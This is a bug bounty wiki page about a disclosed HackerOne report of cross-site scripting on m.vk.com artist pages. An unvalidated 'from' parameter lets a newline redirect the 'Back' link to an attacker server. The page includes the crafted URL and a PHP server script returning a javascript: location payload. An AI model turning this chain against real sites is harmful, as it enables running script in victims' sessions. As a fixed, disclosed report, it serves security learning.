Skip to content
XSS Disclosed report Intermediate

[m.vk.com] XSS на страницах /artist/

The 'from' parameter on the artist page was not properly validated, allowing an attacker to inject a newline and an external URL into the 'Back' link. When a victim clicked the link, an AJAX request was sent to the attacker's server, which returned a JSON response with a 'location' key set to a javascript: URI, leading to XSS.

s_p_q_r Follow

Originally disclosed on HackerOne

Bounty$500 Medium View original
  • Triaged in 3 hours
  • Fixed in 11 days
  • Paid in 44 days
  • Disclosed after 8 months

Summary by the program

XSS при возвращении со страницы артиста.

Summary by the researcher

Insufficient validation of the from parameter at the artist page allowed the attacker to inject external URLs into the "Back" link using the LF char:

https://m.vk.com/artist/marduk?from=%0A/external.com

HTML
<a href="/  /external.com" rel="noopener" title="Назад" onclick="return !nav.backToTabHistory(this);">

When clicked, an ajax request to its URL was sent. In case the response had JSON type, and the location key existed, its value was used as a redirection target, which allowed the attacker to perform XSS via the javascript: URI scheme:

PHP
<?php
    header ('Access-Control-Allow-Origin: *');
	header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD');
	header ('Access-Control-Allow-Headers: Authorization, x-requested-with, x-ajax-nav');
	header ('Content-Type: application/json');
    
    http_response_code (201);

    echo '{
        "location":"javascript:alert(document.domain)",
        "hard":1,
        "version":"a3e370d711eed8a936b9fda7cdd428604668e845eaded4beefd7e7032ded0cf4",
        "counters":[0,0,0,0,0,0,0,0,0,0,0,0,0,0],
        "type":1
    }';
?>

The original report as published on HackerOne, by s_p_q_r. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim clicks a crafted link; attacker controls a server

How it was found

  1. Craft a URL with a newline and an external domain in the 'from' parameter.
  2. The page renders a 'Back' link pointing to the external domain.
  3. The victim clicks the 'Back' link, triggering an AJAX request to the attacker's server.
  4. The attacker's server responds with JSON containing a 'location' key set to a javascript: URI.
  5. The application uses that value as a redirect target, executing the JavaScript in the victim's browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website had a 'Back' button that used a value from the web address to decide where to go. The site did not check that value properly, so an attacker could make the button point to their own server. When a victim clicked it, the attacker's server sent back a special instruction that made the browser run malicious code on the victim's account.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by s_p_q_r

View all

14 more disclosed reports, best first.

More from VK.com

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.